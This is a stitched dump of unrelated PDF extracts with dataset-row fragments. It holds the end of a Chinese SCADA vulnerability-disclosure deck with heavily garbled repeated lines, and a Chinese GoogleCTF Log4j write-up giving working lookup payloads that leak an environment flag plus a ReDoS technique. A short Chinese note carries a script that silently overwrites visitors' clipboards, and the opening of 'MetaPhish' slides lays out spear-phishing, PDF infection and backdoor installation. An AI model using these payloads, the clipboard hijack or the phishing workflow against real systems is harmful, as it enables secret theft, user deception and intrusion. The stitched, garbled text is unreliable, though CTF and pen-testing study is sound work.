(CVE-2011-4525)\n(1/2)\n56\n56\n不安全的功能實例\n不安全的功能實例\n不安全的功能實例\n不安全的功能實例(2/2)\n57\n漏洞三劍客\n漏洞三劍客\nSCADA安全問題真的很嚴重\n安全問題真的很嚴重\n安全問題真的很嚴重\n安全問題真的很嚴重…\n在不重視就…\n58\n•2010年, 根據Ponemon的研究，近8成關鍵基礎設施曾遭駭\n客入侵\n•2011年, 根據金山網路發表的”ICS工業控制系統安全風險分\n析報告”指出，截至2011年10月，全球已發生200餘起針對工\n業控制系統的攻擊事件\n•2011年, Night Dragon 可以從能源和石化公司竊取像油田投\n標數據以及SCADA 運作數據這樣的敏感資訊\n•2011年, Nitro 攻擊了25 家化工和新材料製造商，蒐集智慧\n財產權\n•2011年,美國伊利諾伊州一家水廠的SCADA被駭客入侵，並\n重複向水泵下達開啟和關閉的命令，導致其中一個被燒毀並\n停止運作\n•2012年, ICS-CERT警告SCADA系統面臨暴力破解攻擊威脅\n•2012年5月, 卡巴斯基實驗室發現 Flame 網路間諜程式，專\n門針對伊朗及數個中東國家的電腦發動大規模攻擊活動\n漏洞揭露與通報經驗\n漏洞揭露與通報經驗\n漏洞揭露與通報經驗\n漏洞揭露與通報經驗\n59\n安全漏洞揭露流程\n安全漏洞揭露流程\n安全漏洞揭露流程\n安全漏洞揭露流程\n■聯絡窗口\n■ Vendor\n■聯絡窗口\n■ Vendor\nCERT/CC\nJPCERT/CC\nICS-CERT\nICST\nStart\n發現漏洞\n是否為\n首次發現\n通知\n第三方機構\nEnd\n通知廠商\n驗證是否\n為漏洞\n公布或\n釋出資訊\nYes\nNo\n補救或\n解決方案\nYes\nNo\n廠商是否給\n予適時回應\nNo\nYes\nEnd\n60\n保護原則\n保護原則\n保護原則\n保護原則\n保護原則\n保護原則\n保護原則\n保護原則\n保密原則\n保密原則\n保密原則\n保密原則\n保密原則\n保密原則\n保密原則\n保密原則\n例外原則\n例外原則\n例外原則\n例外原則\n例外原則\n例外原則\n例外原則\n例外原則\n簡易原則\n簡易原則\n簡易原則\n簡易原則\n簡易原則\n簡易原則\n簡易原則\n簡易原則\n漏洞通報過程中，機敏資訊需透過適當的保護措施傳\n送(Triple-DES or AES-128) ，例如E-Mail採用\n採用\n採用\n採用PGP\n漏洞通報過程中，機敏資訊需透過適當的保護措施傳\n送(Triple-DES or AES-128) ，例如E-Mail採用\n採用\n採用\n採用PGP\n在未有適當的修補程式或解決方案公布前，不任意公\n開相關細節\n在未有適當的修補程式或解決方案公布前，不任意公\n開相關細節\n若有以下任一情況，應考慮直接公布漏洞資訊(通知客戶或公開\n於國際資安網站)以避免安全漏洞的影響擴大:\n•合理的通知廠商後，未在7~10個日曆天\n個日曆天\n個日曆天\n個日曆天內適當的回應或處置\n•廠商無法在30~60個日曆天\n個日曆天\n個日曆天\n個日曆天內提出解決方案\n•漏洞細節或攻擊程式已被公開流傳\n若有以下任一情況，應考慮直接公布漏洞資訊(通知客戶或公開\n於國際資安網站)以避免安全漏洞的影響擴大:\n•合理的通知廠商後，未在7~10個日曆天\n個日曆天\n個日曆天\n個日曆天內適當的回應或處置\n•廠商無法在30~60個日曆天\n個日曆天\n個日曆天\n個日曆天內提出解決方案\n•漏洞細節或攻擊程式已被公開流傳\n在發布安全公告時，避免公開詳細技術細節，以防止\n攻擊者直接利用該漏洞進行攻擊\n在發布安全公告時，避免公開詳細技術細節，以防止\n攻擊者直接利用該漏洞進行攻擊\n文件化原\n文件化原\n文件化原\n文件化原\n則\n則\n則\n則\n文件化原\n文件化原\n文件化原\n文件化原\n則\n則\n則\n則\n漏洞揭露的協調過程中，詳實紀錄每次的處理情況，\n並撰寫於文件中，紀錄的內容應包含時間、聯絡對象\n及協調或處理結果等資訊\n漏洞揭露的協調過程中，詳實紀錄每次的處理情況，\n並撰寫於文件中，紀錄的內容應包含時間、聯絡對象\n及協調或處理結果等資訊\n安全漏洞揭露的五個原則\n安全漏洞揭露的五個原則\n安全漏洞揭露的五個原則\n安全漏洞揭露的五個原則\n61\n安全漏洞報告內容\n安全漏洞報告內容\n安全漏洞報告內容\n安全漏洞報告內容\n漏洞名稱\n漏洞說明摘要\n存在漏洞的廠商、產品、\n版本及檔案\n漏洞類型、利用方式與風\n險及影響\n漏洞驗證步驟與概念驗證\n程式(POC)，或可供表示\n確實存在漏洞的任何佐證\n資料\n測試條件或驗證環境\n62\n漏洞揭露與通報概況\n漏洞揭露與通報概況\n漏洞揭露與通報概況\n漏洞揭露與通報概況\n已通報CERT相關機構共35則\n−\n通報ICS-CERT：25則\n−\n通報JPCERT/CC：9則\n−\n通報CERT/CC：1則\n已於CERT相關機構公告共20則\n−\nICS-CERT：15則\n−\nUS-CERT：1 則\n−\nJPCERT：4則\n共取得30個CVE Identifier number\n−\nCVE-2011-1914、CVE-2011-3330、CVE-2011-3996、CVE-2011-4033、\nCVE-2011-4034、CVE-2011-4035、CVE-2011-4036、CVE-2011-4043、\nCVE-2011-4053、CVE-2011-4055、CVE-2011-4056、CVE-2011-4057、\nCVE-2011-4521、CVE-2011-4522、CVE-2011-4523、CVE-2011-4524、\nCVE-2011-4525、CVE-2011-4526、CVE-2011-4533、CVE-2011-4534、\nCVE-2011-4870、CVE-2012-0223、CVE-2012-0224、CVE-2012-0309、\nCVE-2012-0310、CVE-2012-1814、CVE-2012-1815、CVE-2012-1816、\nCVE-2012-1817、CVE-2012-1818\n63\n漏洞通報成果\n漏洞通報成果\n漏洞通報成果\n漏洞通報成果 (1/2)\n在ICS-CERT官網上2011/8~2012/3的Monthly Monitor中，公開表達\n對ICST的感謝之意\n64\n漏洞通報成果\n漏洞通報成果\n漏洞通報成果\n漏洞通報成果(2/2)\nSchneider Electric 在官網上公開表達對ICST的感謝之意\n(此為Schneider Electric首次在官網上公開表達對漏洞發\n現者的感謝)\n−\nhttp://www.scada.schneider-\nelectric.com/sites/scada/en/login/historian-vulnerability.page\nInvensys 在官網上公開表達對ICST的感謝之意\n−\nhttp://iom.invensys.com/EN/pdfLibrary/Security_Bulletin_LFSEC\n000000067.pdf \nSIEMENS 在官網上公開表達對ICST的感謝之意\n−\nhttp://www.siemens.com/corporate-\ntechnology/pool/de/forschungsfelder/Siemens_Security_Advisory_\nSSA-850510.pdf\n65\n已公布的安全公告\n已公布的安全公告\n已公布的安全公告\n已公布的安全公告 ─\n─\n─\n─ ICS-CERT\nICS-CERT Advisory 15 則\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-047-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-279-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-279-02.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-277-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-353-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-025-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-025-02A.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-047-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-307-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-332-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-340-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-013-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-016-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-11-343-01.pdf\n−\nhttp://www.us-cert.gov/control_systems/pdf/ICSA-12-138-01.pdf\n66\n已公布的安全公告\n已公布的安全公告\n已公布的安全公告\n已公布的安全公告 ─\n─\n─\n─\nUS-CERT、\n、\n、\n、JPCERT\nUS-CERT Advisory 1 則\n−\n“Wibu-Systems CodeMeter remote denial of service vulnerability”\nhttp://www.kb.cert.org/vuls/id/659515\nJPCERT Advisory 4 則\n−\n“CSWorks LiveData Service vulnerable to denial-of-service (DoS)”\nhttp://jvn.jp/en/jp/JVN98649286/index.html\n−\nWibu-Systems CodeMeter Runtime vulnerable to denial-of-service\nhttp://jvn.jp/en/jp/JVN78901873/index.html\n−\nCogent DataHub vulnerable to cross-site scripting\nhttp://jvn.jp/en/jp/JVN12983784/index.html\n−\nCogent DataHub vulnerable to HTTP header injection\nhttp://jvn.jp/en/jp/JVN63249231/index.html\n67\n68\n69\n70\n71\n72\n73\nSCADA安全防護\n安全防護\n安全防護\n安全防護\n禁止移動式儲存媒體\n−\nUSB、光碟\n最小化網路存取權限\n−\n嚴格的權限控管機制\n−\n維護網段、VPN\n軟、硬體防護設備\n−\n縱深防禦\n−\nFirewall、IDS\n網路與主機監控\n−\n流量監控\n−\n定期檢視Log\n管理與稽核程序\n人員培訓\n74\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n蔣幹\n困難與挑戰\n困難與挑戰\n困難與挑戰\n困難與挑戰\n跨領域問題\n− 工業控制相關領域之專業知識與技能\n− 工業控制相關專有協定\n− 工業控制硬體設備\n風險與威脅評估問題-漏洞影響範圍與程度難以\n評估\n客戶與廠商的配合度\n成本考量問題\n成本考量問題\n成本考量問題\n成本考量問題\n75\n參考資料\n參考資料\n參考資料\n參考資料\nControl Systems Security Program (CSSP) Standards & References\n−\nhttp://www.us-cert.gov/control_systems/csstandards.html\n21 Steps to Improve Cyber Security of SCADA Networks\n−\nhttp://www.oe.netl.doe.gov/docs/prepare/21stepsbooklet.pdf\nCommon Cybersecurity Vulnerabilities in Industrial Control Systems\n−\nhttp://www.us-\ncert.gov/control_systems/pdf/DHS_Common_Cybersecurity_Vulnerabiliti\nes_ICS_2010.pdf\nVulnerability Analysis of Energy Delivery Control Systems\n−\nhttp://energy.gov/sites/prod/files/Vulnerability Analysis of Energy \nDelivery Control Systems 2011.pdf\n76\n報告完畢\n報告完畢\n報告完畢\n報告完畢\n敬請指教\n敬請指教\n敬請指教\n敬請指教"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":59,"cells":{"text":{"kind":"string","value":"@Y4tacker\nGoogleCTF2022-Log4j\n写在前⾯\n唯⼀⼀个Java题了，挺有意思的⼀道题学到很多\n题⽬附件：https://github.com/google/google-ctf/tree/master/2022/web-log4j\n⾮预期分析\n题⽬给了⼀个公⽹环境(题⽬似乎没有重启，能猜到不可能是RCE)以及附件压缩包，⾥⾯同时\n有python以及java的环境，先简单看看python的，这⾥运⾏了web服务，将输⼊作为分割传⼊\nchat函数后通过subprocess调⽤命令执⾏并返回结果，这⾥不存在命令注⼊\napp = Flask(__name__)\n@app.route(\"/\", methods=['GET', 'POST'])\ndef start():\n if request.method == 'POST':\n text = request.form['text'].split(' ')\n cmd = ''\n if len(text) < 1:\n return ('invalid message', 400)\n elif len(text) < 2:\n cmd = text[0]\n text = ''\n else:\n cmd, text = text[0], ' '.join(text[1:])\n因此重点就是分析这个java的⽂件，很简单的代码(同时可以看到这⾥有LOG4J2)\n result = chat(cmd, text)\n return result\n return render_template('index.html')\ndef chat(cmd, text):\n # run java jar with a 10 second timeout\n res = subprocess.run(['java', '-jar', '-Dcmd=' + cmd, \n'chatbot/target/app-1.0-SNAPSHOT.jar', '--', text], capture_output=True, \ntimeout=10)\n print(res.stderr.decode('utf8'))\n return res.stdout.decode('utf-8')\nif __name__ == '__main__':\n port = os.environ['PORT'] if 'port' in os.environ else 1337\n app.run(host='0.0.0.0', port=port)\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\nimport java.lang.System;\nimport java.time.format.DateTimeFormatter;\nimport java.time.LocalDateTime;\npublic class App {\n public static Logger LOGGER = LogManager.getLogger(App.class);\n public static void main(String[]args) {\n //获取环境变量当中的flag,同时这⾥可以知道我们需要获取到环境变量\n String flag = System.getenv(\"FLAG\");\n if (flag == null || !flag.startsWith(\"CTF\")) {\n LOGGER.error(\"{}\", \"Contact admin\");\n }\n //⽇志输出命令⾏参数\n LOGGER.info(\"msg: {}\", args);\n // TODO: implement bot commands\n String cmd = System.getProperty(\"cmd\");\n if (cmd.equals(\"help\")) {\n doHelp();\n return;\n }\n if (!cmd.startsWith(\"/\")) {\n System.out.println(\"The command should start with a /.\");\n return;\n }\n //根据命令⾏参数执⾏doCommand，简单可以看出这⾥没什么利⽤\n doCommand(cmd.substring(1), args);\n }\n private static void doCommand(String cmd, String[] args) {\n switch(cmd) {\n case \"help\":\n doHelp();\n break;\n case \"repeat\":\n System.out.println(args[1]);\n break;\n case \"time\":\n DateTimeFormatter dtf = DateTimeFormatter.ofPattern(\"yyyy/M/d \nH:m:s\");\n System.out.println(dtf.format(LocalDateTime.now()));\n break;\n case \"wc\":\n if (args[1].isEmpty()) {\n System.out.println(0);\n } else {\n System.out.println(args[1].split(\" \").length);\n }\n break;\n default:\n System.out.println(\"Sorry, you must be a premium member in order \nto run this command.\");\n }\n }\n private static void doHelp() {\n System.out.println(\"Try some of our free commands below! \n\\nwc\\ntime\\nrepeat\");\n }\n同时发现这⾥有个 log4j2.xml 的配置⽂件\n可以看见这⾥的Root的level设置为debug， 这代表如果没有单独指定Logger ， 那么就会使⽤该\nRoot⽇志输出输出，因此就算我们能解析到 ${env:FLAG} 也不可能拿到结果(因为这是在⽇\n志⽽不是标准输出当中)，因此我们有没有办法讲结果输出到标准输出呢，当然答案是有的也\n造成了这次⾮预期，如果我们单独设置了Logger的话，如果那个⽇志策略会输出到标准输出\n那么就可以解决这个问题\n}\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Configuration status=\"INFO\">\n <Appenders>\n <Console name=\"Console\" target=\"SYSTEM_ERR\">\n <PatternLayout pattern=\"%d{HH:mm:ss.SSS} %-5level %logger{36} \nexecuting ${sys:cmd} - %msg %n\">\n </PatternLayout>\n </Console>\n </Appenders>\n <Loggers>\n <Root level=\"debug\">\n <AppenderRef ref=\"Console\"/>\n </Root>\n </Loggers>\n</Configuration>\n这⾥说⼀下其中⼀个就可以，也就是这\n个 org.apache.logging.log4j.core.lookup.ResourceBundleLookup ，要执\n⾏ LOGGER.warn 只需要满⾜下⾯两个条件之⼀即可，这⾥简单测试⼀下 ${bundle:2333}\n发现这个LOGGER确实能将关键信息带到标准输出\n因此我们只需要输⼊ ${bundle:${env:FLAG}} 即可\n预期分析-redos\n猜测可能是⾮预期了所以搞了个新的题，将同样的payload输⼊后页⾯只是显⽰ Sensitive \ninformation detected in output. Censored for security reasons.\n这⾥会检测内容，根据猜测能够知道肯定是把那个ResourceBundleLookup下的 LOGGER.warn\n的输出特征给过滤掉了，这⾥简单fuzz下证实了我的猜测，毕竟这⾥是有doCommand功能\n${${a:-b}undle:${env:FLAG}}\n private static void doCommand(String cmd, String[] args) {\n只需要通过repeat功能即可，成功验证了猜想，因此不需要考虑payload的问题了\n switch(cmd) {\n case \"help\":\n doHelp();\n break;\n case \"repeat\":\n System.out.println(args[1]);\n break;\n case \"time\":\n DateTimeFormatter dtf = DateTimeFormatter.ofPattern(\"yyyy/M/d \nH:m:s\");\n System.out.println(dtf.format(LocalDateTime.now()));\n break;\n case \"wc\":\n if (args[1].isEmpty()) {\n System.out.println(0);\n } else {\n System.out.println(args[1].split(\" \").length);\n }\n break;\n default:\n System.out.println(\"Sorry, you must be a premium member in order \nto run this command.\");\n }\n }\n那怎么半呢其实这⾥还有⼀个⼩细节，对于log4j2的⽇志的实现来说其实是先将 ${xx} 当中的\n内容做替换再按我们规定的输出格式输出(如果是你去实现这样的功能相信这是⽬前为⽌的最\n优解)，具体代码这⾥就不展开了，接着说明\n其实log4j2对⽇志输出中的 %d/%p 等其实是有⾃⼰的实现的，它有个注解⽐如下⾯这个是 %d\n的他们都是有个注解 ConverterKeys ，因此我们可以看看这个有没有⼀些神奇的东西可以配\n合我们完成\n如何扫描并获取包下被指定注解的类\n为了⽅便我这⾥直接⽤了reflections 框架（此框架依赖com.google.guava）\n因此我们可以扫描指定包下的\n得到如下结果\n<dependency>\n <groupId>org.reflections</groupId>\n <artifactId>reflections</artifactId>\n <version>0.9.11</version>\n</dependency>\n<dependency>\n <groupId>com.google.guava</groupId>\n <artifactId>guava</artifactId>\n <version>21.0</version>\n</dependency>\nReflections f = new Reflections(\"org.apache.logging.log4j.core\");\nSet<Class<?>> set = f.getTypesAnnotatedWith(ConverterKeys.class);\nfor (Class<?> tmp:set){\n if (tmp.isInterface()){\n System.out.println(\"interface:\"+tmp.getName());\n }else {\n System.out.println(\"class:\"+tmp.getName());\n }\n}\nclass:org.apache.logging.log4j.core.pattern.VariablesNotEmptyReplacementCo\nnverter\nclass:org.apache.logging.log4j.core.pattern.UuidPatternConverter\nclass:org.apache.logging.log4j.core.pattern.LineLocationPatternConverter\nclass:org.apache.logging.log4j.core.pattern.HighlightConverter\nclass:org.apache.logging.log4j.core.pattern.LevelPatternConverter$SimpleLe\nvelPatternConverter\nclass:org.apache.logging.log4j.core.pattern.ThreadIdPatternConverter\nclass:org.apache.logging.log4j.core.pattern.IntegerPatternConverter\nclass:org.apache.logging.log4j.core.pattern.ClassNamePatternConverter\nclass:org.apache.logging.log4j.core.pattern.ProcessIdPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MaxLengthConverter\nclass:org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Yel\nlow\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Gre\nen\nclass:org.apache.logging.log4j.core.pattern.RootThrowablePatternConverter\nclass:org.apache.logging.log4j.core.pattern.MethodLocationPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MessagePatternConverter\nclass:org.apache.logging.log4j.core.pattern.DatePatternConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Whi\nte\nclass:org.apache.logging.log4j.core.pattern.EqualsIgnoreCaseReplacementCon\nverter\nclass:org.apache.logging.log4j.core.pattern.NdcPatternConverter\nclass:org.apache.logging.log4j.core.pattern.SequenceNumberPatternConverter\nclass:org.apache.logging.log4j.core.pattern.RepeatPatternConverter\nclass:org.apache.logging.log4j.core.pattern.EncodingPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MdcPatternConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Mag\nenta\nclass:org.apache.logging.log4j.core.pattern.MessagePatternConverter$Simple\nMessagePatternConverter\nclass:org.apache.logging.log4j.core.pattern.RegexReplacementConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Bla\nck\nclass:org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter\nclass:org.apache.logging.log4j.core.pattern.NanoTimePatternConverter\nclass:org.apache.logging.log4j.core.pattern.RelativeTimePatternConverter\nclass:org.apache.logging.log4j.core.pattern.FileLocationPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MessagePatternConverter$Render\ningPatternConverter\nclass:org.apache.logging.log4j.core.pattern.LevelPatternConverter\nclass:org.apache.logging.log4j.core.pattern.FileDatePatternConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Cya\nn\nclass:org.apache.logging.log4j.core.pattern.EqualsReplacementConverter\n选择合适的类完成challenge\n这⾥引起我注意的有两个类，⼀个是和正则相关，⼀个是和重复相关的英⽂吸引了我\n对应使⽤为\n%replace{abc}{a}{d} => adc\n%repeat{a}{3} => aaa\nclass:org.apache.logging.log4j.core.pattern.ThrowablePatternConverter\nclass:org.apache.logging.log4j.core.pattern.LoggerFqcnPatternConverter\nclass:org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConver\nter\nclass:org.apache.logging.log4j.core.pattern.ThreadPriorityPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MessagePatternConverter$Format\ntedMessagePatternConverter\nclass:org.apache.logging.log4j.core.pattern.MarkerSimpleNamePatternConvert\ner\nclass:org.apache.logging.log4j.core.pattern.EndOfBatchPatternConverter\nclass:org.apache.logging.log4j.core.pattern.FullLocationPatternConverter\nclass:org.apache.logging.log4j.core.pattern.MapPatternConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Red\nclass:org.apache.logging.log4j.core.pattern.MarkerPatternConverter\nclass:org.apache.logging.log4j.core.pattern.LoggerPatternConverter\nclass:org.apache.logging.log4j.core.pattern.LevelPatternConverter$LevelMap\nLevelPatternConverter\nclass:org.apache.logging.log4j.core.pattern.StyleConverter\nclass:org.apache.logging.log4j.core.pattern.AbstractStyleNameConverter$Blu\ne\nclass:org.apache.logging.log4j.core.pattern.RegexReplacementConverter\nclass:org.apache.logging.log4j.core.pattern.RepeatPatternConverter\n分别看看RegexReplacementConverter\nRepeatPatternConverter\n结合这两个功能就能⼤胆猜想能否通过repeat构造超长字符串来消耗正则引擎的性能呢？答案\n是否？其实代码⾥很清楚了，只有 RegexReplacementConverter 有\n个 List<PatternFormatter> formatters = parser.parse(options[0]); 这个parse\n的操作并且这个0决定只能在第⼀位，第⼀位是什么就是要替换的类，⽽repeat⾥⾯显然没\n有，因此这两个也不能嵌套去完成这个题⽬了\n那么还有什么⽅式呢？那就是redos，我们只需要构造⼀个包含具有⾃我重复的重复性分组的\n正则表达式即可，⽐如在Cookia师傅的博⽂当中找到的(毕竟我懒)\n因此我们可以构造正则 ^.{x}(.).*$ ，其中x为数字，分别获取第⼀....n位对其进⾏重复之后\n再在后⾯加上任意字符 x ，其实就是构造出 aaaaaaaax 的形式\n但我发现在jdk8上能成功的redos却在打的时候没⽤？那个给的docker我也没法构建，后⾯发现\n⾼版本jdk9+以后和jdk8上的有区别\n可以看到RSPEC-2631中发现ReDoS 问题已在 Java 9 及更⾼版本中处理，但是功夫不负有⼼\n⼈，又在stackoverflow的主题is-java-redos-vulnerable当中发现，明显可以看到这句话通过增\n加 () 来增加复杂度，但是这次我在本地9-11版本(当然每个⼤版本我只有⼀个⼩版本的jre可能\n不全⾯)都测试通过成功redos\n但是在题⽬环境仍然是完成解析告诉我 Sensitive information detected in output. \nCensored for security reasons.\n最后我决定再为它加点复杂度也就是在最后加⼀个 $ ，也就是 ((C+)+)+$\n接下来就是写个脚本慢慢跑的问题，也是看⼼态和代理给不给⼒的问题\n参考⽂章\nhttps://blog.csdn.net/Q176782/article/details/78288734\nhttp://cookia.cc/2017/09/13/redos/\nhttps://www.cnblogs.com/ggband/p/11668879.html\nhttps://rules.sonarsource.com/java/RSPEC-2631\nhttps://stackoverflow.com/questions/53048859/is-java-redos-vulnerable"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":60,"cells":{"text":{"kind":"string","value":"Chrome \n0x00 \nchrome\nJS\n0x01 \ncmd\napp\n1. xsssql\n2. \n0x02 \njs\n<!DOCTYPE html>\n<html lang=\"zh\">\n<head>\n<meta\ncharset=\"UTF-8\">\n<meta http-equiv=\"X-UA-Compatible\"\ncontent=\"ie=edge\">\n<title>testclipboard</title>\n</head>\n<body>\n<div>testclip</div>\n <script>\nsetInterval(function(){\ntry {\n let type = 'text/plain';\n let blob = new Blob(\n [\n 'magnet:?xt=urn:btih:5666f8bc53789cd7aae003933f15855a73257356&dn=ssni-954-\nC.torrent'\n ],\n { type }\n );\n let item = new ClipboardItem({[type]: blob });\n navigator.clipboard.write([item]);\n} catch (err) {}\n},2000);\n</script>\n</body>\n</html>\n0x03 \n<!DOCTYPE html>\n<html lang=\"zh\">\n<head>\n<meta\ncharset=\"UTF-8\">\n<meta http-equiv=\"X-UA-Compatible\"\ncontent=\"ie=edge\">\n<title>testclipboard</title>\n</head>\n<body>\n<div>testclip</div>\n <script>\nsetInterval(function(){\ntry {\n let type = 'text/plain';\n let blob = new Blob(\n [\n '4-I:/ .. ξCULCb8NKszcv8ωω '\n ],\n { type }\n );\n let item = new ClipboardItem({[type]: blob });\n navigator.clipboard.write([item]);\n} catch (err) {}\n},2000);\n</script>\n</body>\n</html>\npc\nchromePC\npc\n0x04 \npcChromewebkit"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":61,"cells":{"text":{"kind":"string","value":"Slide: 1\nMetaPhish\nVal Smith (valsmith@attackresearch.com)\nColin Ames (amesc@attackresearch.com)\nDavid Kerb (dkerb@attackresearch.com) \nSlide: 2\nBios\nValsmith\n– Affiliations:\n• Attack Research\n• Metasploit\n– Work:\n• Attack Techniques Research\n• Pen Tester/ Exploit developer\n• Reverse Engineer\n• Malware Analyst\nPrevious Talks\n–\n Exploiting malware & vm detection\n–\n Kernel mode deobfuscation of malware\n–\n Data mining malware collections \n–\n Tactical Exploitation\n–\n Post Exploitation\n–\n Analysis of foreign web attacks\nSlide: 3\nOverview\n• Spear Phishing for PenTesting\n• Working on a Framework on top of \nMetasploit\n• Phile Phishing\n• Web Phishing\n• MSF automation\n• Abusing TOR\n• Tying it all together\nSlide: 4\nSpearPhishing\n• This is the way people are getting in NOW\n• Remote exploits much less prevalent\n• Blended attacks combining:\n– Web\n– File formats\n– Malware\n– Social Engineering\nSlide: 5\nSpearPhishing\nHow often do you pen test this way?\nDo clients let you?\nSlide: 6\nSpearPhishing\nYou’re missing a major vector!\nSlide: 7\nSpearPhishing\n• Attackers now use targeted client side methods\n• Web kits prevalent\n– Mpack, tornado, adpack, luckyspolit, zunker\n– Who knows what’s in these ?\n– Uncontrolled environment\n• File format exploits abound\n– Sometimes get built into MSF,Core\n– Same problems as web kits\n– Little public knowledge of FF RE methods\n• Solution? RE what the attackers do and make \ntheir techniques reliable\nSlide: 8\nWork Flow\n• Thoroughly recon target \n• Build a “legend” for your attack\n– Find plausible documents from the target\n• Build your vector\n– Infect PDF’s\n– Build a malicious website\n• Cast your line – send the target the lure\nSlide: 9\nWork Flow\n• Setup a server side exploitation system \nthat can handle many clients at once\n• Receive the incoming access\n– Design to bypass their firewalls\n– Look for proxies, HIDS/HFW, egress ports\n• Inject into preauthorized browsers\n• Automate your postexploitation actions\n– Scripts to grab passwords, install backdoors, \nenumerate info, grab tokens, log manipulation\n• Complex, needs a framework\nSlide: 10\nWhy a Framework?\nSlide: 11\nWhy a Framework?\n• Client side is the new paradigm as are frameworks\n• Phishing = client side attack surface facilitator\n• Most client side tools are manual / standalone\n• Core Impact is $$$\n• Pentesters need \n– Standardizable\n– Controllable \n– Automatable\n– Customized methods\n• Targeting not as well defined or supported\nSlide: 12\nTargeting?\nSlide: 13\nTargeting\n• Greatly increases chances of success\n• Heavily social engineering inspired\n• Requires recon\n• The more knowledge about the target the \nbetter\n• Tactical Exploitation concepts apply\n• Use target’s public files against them!\nSlide: 14\nTargeting\n• Generic File Hunting / File Harvesting\n• Creative googling for documents\n• Read documents for juicy details\n• Read deeper\n– Harvest meta data for juicy details\nSlide: 15\nTargeting\n• Understand your targets infrastructure\n– Tactical Exploitation topics apply\n– Enumerate targets “home” or actual networks\n• Beyond just the hosting company\n– Look for leaked proxy log analysis results\n• These give you:\n– Client applications\n– Update frequencies\n– AntiVirus\n– Anything that communicates out\n– Internal IP addresses\nSlide: 16\nSlide: 17\nSlide: 18\nSlide: 19\nSlide: 20\nSlide: 21\nSlide: 22\nSlide: 23\nPHILE PHISHING\nSlide: 24\nTarget File Selection and Infection\n• Search the web for your target and \navailable files\n– Newsletters are great\n– Conference announcements\n– Find recent things to modify\n– Take advantage of relationships\n• If your target partners with someone else, steal \nand infect their documents and send to client\n– Goal is to get them to click\n– Script to automate target PDF acquisition\nSlide: 25\nTarget File Selection and Infection\n• How do you select a file for infection?\n– People believe PDFs are a safe format\n– People trust PDFs that are from their own \norganization\n– Pick topics of likely target interested\n– Pick files that are widely circulated\n• Large audience\n– Newsletters\n– Company forms & instructions\n– “Snow day” & activity announcements\nSlide: 26\nWhat’s wrong with this \npicture? What shouldn’t \nwe have done?\nFind file targets \nto infect\nSlide: 27\nLets say our target is a \ntechnical organization in \nthe Chinese government\nHere is a good candidate \nPDF they provide freely \nfor us\nSlide: 28\nWho publishes \nthis newsletter?\nTarget for your \nattack legend\nSpoof email \nfrom this person?\nSlide: 29\nGather \ntarget \nemail \naddresses \n to send \ninfected \nfiles \nto/from\nSlide: 30\nGather sites that \nhave plausible \nrelationships to \nsend the infected \nfiles to\nSlide: 31\nFile Infection\n• Why PDFs?\n– Javascript\n– Code Execution\n– Nested PDF’s\n– Exploits / vulns in readers\n– Dynamic content\n• How do we infect them?\n– Incremental update\n– Tedious to 